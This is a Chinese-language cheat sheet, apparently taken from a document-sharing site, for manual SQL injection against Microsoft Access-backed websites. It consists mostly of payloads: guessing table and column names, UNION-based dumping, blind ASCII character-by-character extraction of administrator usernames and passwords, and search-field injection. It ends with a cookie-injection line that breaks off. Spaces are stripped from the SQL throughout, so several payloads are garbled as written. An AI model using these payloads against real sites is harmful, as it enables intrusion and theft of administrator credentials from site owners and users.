Access数据库手工注入一,基础篇猜解表名,这里借用啊D的语句:andexists(select*from表名)猜解列名:andexists(select字段from表名)UNION法,在执行union之前建议进行下orderby这样会更快。联合查询:selectname,password,idfromuserunionselectuser,pwd,uidfrom如果遇到orderby错误提示,执行下2次union可解决and1=2unionselect1,2,3,4,5from表名unionselect1,2,3,4,5from表名爆指定表名内容:and1=2unionselect1,2,3,4,5from表名ASCII逐字解码法:1、猜解列长度猜解语句:and(selecttop1len(列名)from表名)>Nand(selecttop1len(列名)from表名)=N其中N是数字,变换这个N的值猜解列长度,例如:and(selecttop1len(列名)from表名)>1and(selecttop1len(列名)from表名)>6如果一直猜到6都显示正常页面,猜到7的时候返回错误(大于6并且小于等于7),那么该列的长度为7。因为“top1”的意思是把最靠前的1条记录给提取出来,所以如果要猜解第二条记录就该使用:selecttop1len(列名)from表名where列名notin(selecttop1列名from表名)2、ASCII码分析法猜解用户和密码ASC()函数和Mid函数例如:mid(列名,N,1)ASC(mdi(列名,N,1))得到“列名”第N位字符ASCII码猜解语句为:and(selecttop1asc(mid(字段,1,1))from数据库名)=ASC码(通过转换工具换)区间判断语句:“......between......and......”中文处理法:当ASCII转换后为“负数”使用abs()函数取绝对值。例:and(selecttop1abs(asc(mid(字段,1,1)))from数据库名)=ASC码(通过转换工具换)ASCII逐字解码法的应用:1、猜解表名:and(selectcount(*)fromadmin)<>02、猜解列名:and(selectcount(列名)from表名)<>03、猜解管理员用户个数:and(selectcount(*)from表名)=1返回正常,表中有一条记录。4、猜解管理员用户名的长度:and(selectlen(列名)from表名)>=1、>=2、>=3、>=4。5、猜解管理员用户名:and(selectcount(*)from表名where(asc(mid(列名,1,1)))between30and130)<>0最后提交:and(selectasc(mid(列名,1,1))from表名)=ascii的值6、猜解管理员的密码:按照上面的原理,只要把上面的语句中(asc(mid(列名,1,1)的列名换成PASSWORD就能得到管理员的密码了。搜索型注入漏洞利用猜解语句:关键字%'and1=1and'%'='%关键字%'and1=2and'%'='%将and1=1换成注入语句就可以了。cookie注入语句:javascript:alert(="id="+
ess数据库手工注入(doc 8页) 来自淘豆网www.taodocs.com转载请标明出处.